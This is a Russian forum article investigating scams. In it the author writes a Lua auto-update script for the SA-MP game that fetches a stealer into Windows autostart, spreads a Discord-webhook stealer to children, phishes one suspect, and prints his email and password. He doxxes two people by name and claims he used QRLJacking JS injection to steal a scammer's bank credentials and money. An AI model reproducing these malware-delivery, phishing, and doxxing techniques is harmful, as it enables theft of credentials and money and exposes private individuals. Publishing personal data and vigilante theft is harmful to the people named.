По горячим следам: эпизод семь - жулик-Никитос, уязвимости LUA и немного QR-кодов во имя справедливости
Саламчики. Собственно говоря, вещаю уже из нового года, да, скорее всего это уже давным давно не актуально, но ведь пишу я это ровно в 00:01. Поздравляю всех с наступлением 2022, а как не крути эта дата когда-то была такой далекой и представляли мы её совсем иначе, чего стоят лишь произведения киношников. Оглянуться не успели, а этот год и сам пришел, до чего же скоротечно время..
Розыгрыш купона
Вместе с этим, господа, анонсировать небольшой конкурс хочу, многим известно о победе, которая принесла мне в инвентарь купон на скидку в 50% на любой из курсов от школы Codeby. Сам я им вряд-ли воспользуюсь, в ряду студенческой занятости, но вот кому-то из Вас, дорогие читатели, он пригодится, я уверен. Делать особо ничего не нужно, всего-то отписать какой-либо комментарий внизу под этой статьей и поставить лайк на эту и три последние по тегу #deathday. Победитель будет определен рандомно, а видеозапись, как же я его выбирал, можно будет найти у меня в профиле. Переходим к делу.
Кстати это уже седьмой выпуск из цикла, будет если угодно, можете и с остальными ознакомиться:
1. По горячим следам: в попытках раскрыть мошенническую схему - Discord, ботнет да стиллеры
2. По горячим следам: расследуем мошеннические схемы - Undetected Handler и барыга-идиот
3. По горячим следам: эпизод три - не неуловимый стиллерщик и его просчеты
4. По горячим следам: эпизод четвертый - Скамер-Феликс и его тридцать три несчастья
5. По горячим следам: эпизод пять - Reverse Shell в документе, обман через Jivo и немного HTA-малварей
6. По горячим следам: эпизод шесть или как я с костлявой поиграл - дырявый WinRar, BlueKeep, Fake Voice Multi-Tacotron и немного чертовщины: ÿ. & duevile
О да, это очередная статья из цикла расследований разных мошеннических схемок, добро пожаловать.
Так, сперва прочтите-ка дисклеймер, это стало уже какой-то традицией, ведь именно это предупреждение сопровождает мои работы на протяжении года или даже больше, эта писанина не станет исключением, ловите.
Дисклеймер
На самом деле я против зла и то, что я покажу вам далее, может быть, практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания.
Дело о LUA: или как именитый скриптер лишился своих фанатов
Короче первое дело на повестке суток имеет личный характер, ведь именно так я попался на очередной гениальный и очень затратный для реализатора способ обмана, а впоследствии и воровства всего чего будет злодею угодно.
Обычный день после Нового года, казалось бы, для всех этот день полон боли, страданий и хмельного безрассудства, но у меня благо было все иначе, этот “праздник” я уже как десяток лет игнорирую и очень даже счастливо живу, никого не побуждаю делать так же. За неимением работы, я решил мирно поиграть в игрушку своего детства - Samp, думаю уже многим известно, что с этой штукой меня очень много чего связывает поныне.
Впервые решил скачать сборку и поиграть красиво, отвлечься, пообщаться с себе подобными олигофренами и быть понятым, впервые за долгое время. Пусть и на данный момент комьюнити там разносортное, но на деле достойных представителей там мало. Всяко мне удалось найти паренька, который почему-то считал меня девушкой в ряду отсутствия голосового чата, но сие проблемой не было. И вы думаете этот парень меня как-то развел? Ну-у, не совсем, скорее он просто стал очередной жертвой гениального скриптера, как и я в последствии нашего общения.
И здесь для неведающих в этом жанре я поясню, что пусть игра и сам мультиплеер стары, но они имеют три основных дополнения - cleo, sampfuncs и ЛУА, если первые два равно прошлый век, то вот ЛУА имеет практически неограниченные возможности и на нем действительно для этой игры можно реализовать все, что будет душе угодно, я не утрирую, это действительно так.
И вот, катаясь с этим пареньком, который разделял мою философию по поводу НГ, я у него решил расспросить о хороших сборках. Посоветованное ним ютуберское собрание модификаций мне пришлось по душе, ничего не предвещает беды, верно?
И вот прошло около двух дней после скачивания этой сборки, захожу я значится в игру и вижу, что некий ЛУА скрипт обновился.
Безобидно? Не-е-е-ет, это фатально.
Коль вместо скрипта новой версии эта штуковина подгрузила мне стиллер и стиллер не игровых данных, а всех имеющихся сохраненных паролей и прочей информации о моем скромном устройстве. Как такое могло произойти? Давайте разберемся, но сперва мне захотелось реализовать подобное самому в силу своих небольших познаний в этом языке.
Сперва я думал, что же я смогу такое сделать, дабы оно действительно было полезным, но потом меня постиг свет: зачем делать что-то полезное, если можно просто впарить скрипт автообновления с подгружаемым стиллером? Всё равно мои подопытные - одноклеточные детсадовцы, кто тот код смотреть будет, верно?
Средой разработки послужит обычный NotePad++, удобная штуковина. Так как я вообще не имел понятия, как устроено это автообновление, отправился гуглить. Оказалось, что для сего на нужен круглосуточно доступный файл JScon, который будет качать сам скрипт, после он будет проверять содержимое и если мы закодим там что-то типа вот этого:
Код:
{ "updateurl": "http://www.qrlk.me/dev/moonloader/adblock/!adblock.lua",
"latest": "01.01.2019" }
То у нас получится переход по ссылке с последующим скачиванием файлика, по факту это может быть любое хранилище, но достать нужно ссылку на прямое скачивание, это проще всего сделать во вкладке Загрузки в хроме, где снизу отображается та самая ссылочка.
С этим разобрались, простенько, кстати версию укажем заранее устаревшую, дабы злое обновление произошло сразу при запуске игры.
И теперь пришло время анализа скрипта со сборки, который подгрузил мне стиллер Growtopia, если не ошибаюсь, что-то похожее мы уже рассматривали, но не это.
Итак, собственно, открыв данный скрипт в среде, первым часом видим скрипт-автообновление внутри, он русифицирован, поэтому его идентификация не составила труда да и он шел впереди основного.
Так же не сложно было увидеть ссылочку на Jscon с обновлением злоумышленника, так-то единственная зацепка и больше ничего не остается делать, как перейти по ней. И… Да, небольшой такой облом, видим, что у нас нет API для доступа к этому файлу. После меня посещает мысль, что если без API никак не получить доступ, стало быть он должен быть в скрипте, иначе как бы происходило скачивание?
Путем нехитрых манипуляций, путем создания такого же и разрешения доступа к своему файлу, действуем по аналогии, получая доступ к и JScon’y злоумышленника, ведь оказалось, что в коде элемента хранится и сам токен API на просмотр, кривая система, а вставить его нужно в поле рядом, там видим следующее:
Удаляем половину ссылки на скачивание и попадаем… Как думаете куда? На личный сайт злодея, удивительно, ведь оказалось автором сие чуда есть достаточно именитый скриптер в кругах САМП - QRLK. А теперь давайте просто загуглим его ник и… Вот результат как-бы:
Информации полно, но вот как обмануть человека получившего профит с плюс минус пятидесяти тысяч человек, скачавших сборку с его скриптом - понятия не имею, но об этом уже позже, все таки информации о нем у нас предостаточно. Продолжаем написание собственного скрипта и следуем по его пути от начала до конца, после уже разберемся.
Мой вариант будет выглядеть следующим образом:
Код:
function autoupdate(https://jsonbin.io/61e94bdd6c4a232f9d85ec2b, prefix, url)
local dlstatus = require('moonloader').download_status
local json = getWorkingDirectory() .. '\\'..thisScript().name..'-version.json'
if doesFileExist(json) then os.remove(json) end
downloadUrlToFile(https://jsonbin.io/61e94bdd6c4a232f9d85ec2b, j
function(id, status, p1, p2)
if status == dlstatus.STATUSEX_ENDDOWNLOAD then
if doesFileExist(json) then
local f = io.open(json, 'r')
if f then
local info = decodeJson(f:read('*a'))
updatelink = info.updateurl
updateversion = info.latest
f:close()
os.remove(json)
if updateversion ~= thisScript().version then
lua_thread.create(function(prefix)
local dlstatus = require('moonloader').download_status
local color = -1
sampAddChatMessage((prefix..'Обнаружено обновление. Пытаюсь обновиться c '..thisScript().version..' на '..updateversion), color)
wait(250)
downloadUrlToFile(updatelink, thisScript().path,
function(id3, status1, p13, p23)
if status1 == dlstatus.STATUS_DOWNLOADINGDATA then
print(string.format('Загружено %d из %d.', p13, p23))
elseif status1 == dlstatus.STATUS_ENDDOWNLOADDATA then
print('Загрузка обновления завершена.')
sampAddChatMessage((prefix..'Обновление завершено!'), color)
goupdatestatus = true
lua_thread.create(function() wait(500) thisScript():reload() end)
end
end
end
)
end
end end end
По правде, не особо отличается от того скрипта, который мы уже видели, но да ладно, единственное, что я добавил, так это измененную директорию выгрузки “обновления” на автозагрузку виндовс, который стоит на диске С. Ремарочка, если система стоит на диске с другим названием или это вовсе кастом, как у меня, то ничего не произойдет.
К нашей Гровтопии переходим, скачав репозиторий с гитхаба проводим редактирование главного файла через среду разработки C#, в целом пойдёт любая, даже онлайн редактор, как в моем случае.
Теперь нам нужно найти дискорд вебхук, для того, чтобы сие чудо присылало нам отчеты с ворованными данными. Создаем сервер, далее идем в генеральные настройки, создать вебхук, копируем ссылку и вставляем вот сюда в код нашего Грова. После осталось лишь скомпилировать, дело за малым.
Выгружаем наш файлик на любой файлообменник, сами же качаем зловред и в директории Загрузки копируем прямую ссылочку, спасибо, Хром.
После переходим в наш Jscon, который уже на хостинге, где заменяем ссылочку на скачивание. Готово, можно распространять.
А аудиторией для наших тестов выступят… Как вы думаете кто? В одной из своих статей я уже задействовал подобное, для начала мы идем в место, где обитают вот такие вот малолетние админы, изголодавшиеся к халяве, хотя последняя манит далеко не только их.
Создаем до боли примитивный, но всё же завлекающий текст, естественно ориентировочно для аудиторию тех краев, постить самостоятельно такое смысла не имеет, как я считаю, поэтому попросту поставим бота, который будет флудить с определенной задержкой. Честно, проще было бы конечно купить просто пиар у собирающих на обед в столовке, но это же статья по ИБ, что уж нам.
Честно, рандомный скрипт с просторов Гитхаб, если не сработает, то будем действовать путем наименьшего сопротивления, так сказать. Скачаем для начала:
Код:
git clone https://github.com/qwertyadrian/TG_AutoPoster
cd TG_AutoPoster
Ну и активируем виртуальное окружение:
Код:
python3 -m venv venv
source venv/bin/activate
После, легчайшим движением пальцев, устанавливаем зависимости:
Код:
pip install -r requirements.txt
Переходим быстренько в директорию скрипта, создаем конфигурационный файл config.ini, своровав пример прежде, и заполняем его по своим нуждам.
А вот кстати и он сам, кому лень искать:
Код:
[global]
login =
pass =
send_reposts = 2
# Нужно ли отправлять репосты (данный параметр можно указать отдельно для каждого источника)
# Возможные значения: 0 (no), 1 (post_only), 2 (yes, all):
# 0 - не отправлять посты, содержащие репосты
# 1 - отправлять пост без самого репоста (если пост содержит только репост, он не будет отправлен)
# 2 - отправлять как пост, так и репост
what_to_send = all
# Какие типы вложений парсить и отправлять? all - отправлять все
# Возможные варианты: text, link, photo, doc, video, music, polls
# Под link попадают также фотоальбомы и вики-страницы.
# Пример: what_to_send = text,photo - будет отправляться только текст и фото, все остальное будет игнорироваться
# what_to_send = text - будет отправляться только текст, все остальное будет игнорироваться
# Также данный параметр можно использовать индивидуально для каждой группы, но если он не указан индивидуально, то будет параметр ниже.
# Внимание! Разделять список отправляемых типов вложений только запятыми, без лишних пробелов (т.е. text,photo,video)
[pyrogram] # Подробнее в README.md
api_id =
api_hash =
bot_token =
[domain1]
channel = 123456789 @username
# what_to_send = all
# disable_notification = no
[domain2]
channel =
# last_id = # ID последнего отправленного поста. Если параметр отсутствует, он будет добавлен автоматически со значением 0
# pinned_id = # ID Закреплённого поста, если параметр отсутствует, он будет добавлен автоматически.
Прописываем всё необходимое, думаю, если человек, которому 11 годков предлагает мне услугу пиара автопостом с помощью этого же скрипта, мы-то справимся наверняка.
Запускаем:
Код:
bash VK_autopost
И на этом моменте я вспомнил, что в моей стране же забанен ВК, а так как мне лень настраивать ВПН, а 14 рублей не жалко, я просто купил у того малого автопостинг на два часика.
Результат определенно меня удивил, ведь я ожидал меньшего фидбека, но 50 детишек за двадцать минут - результат хороший.
Итак, рассказывал ведь я в том посте о том, что продаю способ получения полного доступа к серверу, к слову, в моем арсенале такой действительно имеется, поэтому фактически я никого не обманываю, за исключением того, что закидаю ещё один скрипт, объясняя его наличие стабилизацией клиента для проведения манипуляций. Знаете, а они верят и даже не в том дело, что мне удалось получить около двух тысяч рублей за 10 минут, не-е-ет.
К слову, всем средства были возвращены в четырехкратном размере, да, никто не в обиде и все счастливы.
Просто смешно, что на это повелись действительно уже способные адекватно мыслить в силу своего развития с годами, двое ребят, которым уже больше 16. К слову, в свои 16 я уже писал статьи и на одном из порталов, не таких крупных, как Кодбай, был главой редакции.
Ну о реализации мы поговорили, а теперь к делу, как же можно отследить нашего преступника. А вот это одна из тех патовых ситуаций, когда человек ничего особо и не скрывал, поэтому у меня появилось подозрение, что здесь что-то нечисто и я решил ему просто написать по поводу этого в телеграм. На всеобщее, ладно, только моё, удивление он ответил, а я ожидал мгновенный ЧС, но оказалось дела обстоят слегка иначе.
Этот человек извинился и выразил искренние сожаления, что случилось именно так, также он указал, что в этом есть его прямая оплошность, ведь он забыл закрыть доступ редактора по ссылке в скрипте и получилось, что какая-то редиска совершила вот такое вот.
Поверил ли я ему на тот момент? Нет. Но всё же решил проверить, мои сомнения базировались на том, что скрипт подгружающий стиллер всё таки был выгружен на его личный сайт, но когда я сравнил оригинал и тот, который был в скрипте-воре, сразу же всё стало на свои места… qrlk и qrIk, ведь так похожи.. На время написания текста поддельный сайт уже недоступен, а оригинал был удален владельцем, в кое-то веки я его понимаю.
И тут я вспомнил о том, что в моем распоряжении есть скомпилированная гровтопия злодея… Почему-то захотелось мне посмотреть на вебхук, который был использован, копируем тот, переходим и… Барабанная дробь, следующая картина:
И видим, что у вебхука имя “nikitos005”,сомневаюсь, что это может что-то дать кроме предположения на имя владельца, хотя я всегда называю все свои творения “Вася”. Прикола ради решил загуглить этого Никитоса005. Всё, что выдал гугл - ответ на знаниях.ком о каком-то логопеде, посмеялся.
А теперь используем сервис, который в основе своей задействует поиск на различных платформах по нику, может что и будет: аккаунт в роблоксе, (эм что), ВК, фейсбук, дискорд, инстаграм и какие-то зарубежные порталы.
Проанализировав его профиль в ВК, оказалось, что он имеет непосредственное отношение к скриптингу ЛУА для САМП и подписчик группы qrlk, вроде идем верно, да? Также могу предположить, что он с Новороссийска и рожден позже 2004 года, так как есть фотографии в военной форме, но это всё же мало даёт чего.
Спустя минуту я решил использовать сервис типа findclone, но его бесплатную версию, в целом удалось найти его фотки в альбомах друзей и прочие отметины по геолокации, выдающие Новороссийск. Теперь можно попытаться воспользоваться сайтом городского суда Новороссийска и поискать чего там, так и поступаем.. И что вы думаете? Годик назад этот персонаж уже привлекался за мошенничество.
И теперь лирическое отступлени - помните обман с дискордом и как у меня своровали стим? Так вот, недавно моего знакомого постигла та же участь, он попросил меня разобраться, но, к сожалению, на момент, когда я принялся что-либо делать, было уже слишком поздно и следы злоумышленника явно не были горячими: сайт исчез, а сам ДС до сих пор не сделал таблицы-истории входа в аккаунт, поэтому делать мне там уже было нечего. Но способ миловидный, поэтому воспользуемся именно ним.
Вышло вот что-то такое, если что это просто скопированная страница входа, ну практически, добавлен некоторый текст, подробности о этом можно упустить, не шибко интересно.
Далее просмотрев все, что он постил в комментариях и так далее, мне удалось узнать его никнейм на Аризоне, сервер Меса, ведь Никитос оставил свой ник под одним из постов на розыгрыш имущества. Купил я значится аккаунт и началось втирание в доверие, “случайные” совпадения, встречи и всё-всё прочее. В конце я ему предложил получить дискорд Нитро с помощью вот этого дела. Так как уровень доверия уже значительно повысился, он согласился.
Nikita005dons@mail.ru; nikita22890005. Моё предположение, что его пароль от почты, аккаунта в самп и дискорда идентичен - верно.
В итоге… Я не стал вредить, а лишь забанил ему аккаунт 84 уровня, написав в репорт, что продаю виртуальную валюту и вообще аккаунт продан и все администраторы и проект… Вы поняли. Следующий эпизод.
А нет, не следующий, был ещё способ найти созданный сервер злоумышленника, найдя его ID, который был указан в вебхуке, а после и реальный дискорд-профиль редисочки Никиты.
И снова QR коды: прошедшее мимо нас будущее уже рядом
QR коды… Псле того, как мир настигла эпидемия, сразу же всё вдруг вспомнили о цифровых технологиях, естественно и о кодах, как говорится: беда - движение прогресса. Стало их настолько много, что даже документы, удостоверяющие вашу личность умудрились закодировать туда. А ведь вы не можете понять, что же в этом коде, пока не отсканируете, да? А если там зловред?
И так вот начинается очередное включение нашего выпуска, следуя домой из магазина, я заметил как один парень возился возле электросамоката, сдающегося в аренду. Ну думаю, что у каждого в городе такая фишка существует, да ? Подходишь к этому устройству, сканируешь код, оплачиваешь рублей так 100 и всё, катись хоть в Ад на нем.
Присмотревшись, я заметил, что сие паренек просто напросто заменял QR самоката на свой, после действий он поспешно удалился. Лицо его скрывала маска, что и неудивительно, на улице мороз. Выглядел он как типичный представитель молодежи, ничего подозрительного.
Когда-то я уже использовал вещицу, которая воровала всякую всячину, используя QR, да… Было время.
Но знаете, я решил рискнуть и просто просканировать этот код, моему удивлению не было предела, ведь это была простая страница оплаты-перевода на карту. Номер карты естественно я пробил, используя Приватбанк знакомого, спасибо за такую фичу и что до сих пор не скрываете полное имя, отчество и фамилию получателя.
Ветрюхов Алексей Васильевич, стало быть что мы о нем знаем: живет он в моем городе, скорее всего, на вид ему было лет 17-18, стало быть скорее всего студент.
Далее совершаем очень рискованное действие, и переводим парнишке 300 рублей, после пишем в поддержку, говоря мол помогите, перевод ошибочный. Спустя несколько минут общения, они выдают реальный номер клиента получателя. Весело.
Загуглив его номер, получаем объявление на торговой площадке о продаже PS1, теперь у нас есть предлог связи с ним. По сколько у меня есть в наличии PS3,я решил предложить ему обмен с доплатой с его стороны, уверив, что мол давай отправим посылки в одно время, а ты потом скинешь мне на карту.
Прошло, хотя ожидал слегка другого, мол пошлет меня , заберет посылку и все, но скорее всего парень попросту боится получить статью за мошенничество, которое доказать в этом случае было бы трудно.
И тут я решил пойти его же способом и скинуть ему QR якобы на оплату, но… Вы понимаете, что нет.
Создаем запрос на перевод по ссылке через банк, после полностью копируем страницу через Кали, покупаем какой-то дешевенький хостинг и на сцену выходит новенький скриптик.
QrljakingJS - вашему вниманию, скрипт использует исключительно веб-браузер через который генерирует QR код в реальном времени и отправляет на наш сервер, где мы может его отобразить.
Переходим на оригинальный сайт банка по ссылке на перевод, там видим этот QR, который у нас есть целью.
Затем проведем инжект JS кода из jquery.min.js, открываем консоль редактирования страницы, Inspect Element → Console → Copy & Paste и нажимаем Enter. Аналогично поступаем с кодом из qrljackingjs.min.js.
Затем прописываем в консоли:
Код:
QRLJackingJs (
'base64_image' , // параметр, который у вас есть на вашем сервере для получения изображения в кодировке base64
'._2UwZ_:first' , // элемент, в котором есть QR-изображение
4 , // время ожидания между каждой отправкой скриншота
' ._2znac:first' , // используется для автоматического щелчка по элементу перезагрузки QR-кода, если таковой имеется
2 // время ожидания после нажатия кнопки перезагрузки и перед отправкой снимка экрана
) ;
Далее скрипт попросит ввести URL нашего сайта, на котором будет вирусный QR и собственно всё, каждые 4 секунды будет происходит обновление вредоноса.
Собственно в результате мы получаем данные карты, пинкод, пароль и логин от приложение банка злоумышленника. Что с этим делать? Сперва я захотел отправить все его средства на благотворительность, но всё таки это уже нарушение закона… А знаете, между строк сообщу, что я таки это сделал. Фонд красного креста стал богаче на 42 тысячи рублей, хотя платеж, как я считаю, можно будет отменить, но всё таки нервишки потрепались.
И небольшая история от пользователя нашего форума, думаю, что обязан это вставить сюда, ведь я не успел, к сожалению, с этим ничего делать, да и нужной информации для расследования мне не предоставили, жаль.
Началось все вот с такого сообщения на форуме, естественно, это меня заинтересовало и удалось выудить такую вот историю:
Если бы был доступ к тому сайту оплаты, то естественно отследить и наказать нашего воришку было бы проще некуда, а вот мобильный телефон вредителя мне не выдали, поэтому мои руки связаны, а знакомиться с барышнями в тиндере… Надеясь, что меня так же разведет кто-то - абсурд. Хотя вроде как опыт и нужные умения имеются, но мне лень, да и не только в этом дело, процент попасться на именно этого мошенника или мошенницу - ничтожно мал.
Поэтому просто придам это некой огласки на нашем портале, да и дело с концом, если кто-то ещё на подобное налетал, просьба… Отпишите мне, скиньте скринчики и детали, всю возможную информацию, в следующей работе обязательно накажем.
Ну, а на этом у меня всё.
Выводы
Будьте бдительны, господа, в данное время с форсированным приходом технологий, мы получаем все большее количество народа, жаждущего халявы и легких денег. Всё наказуемо, даже если не законом, то найдётся ещё такой злотворец-добродетель как я, и рано или поздно выдаст подзатыльник редискам.
Всем счастья, пора прощаться. О розыгрыше не забывайте, дорогие, купончик-то - вещь актуальная и полезная. Итоги через 10 дней. Бывайте.
Последнее редактирование: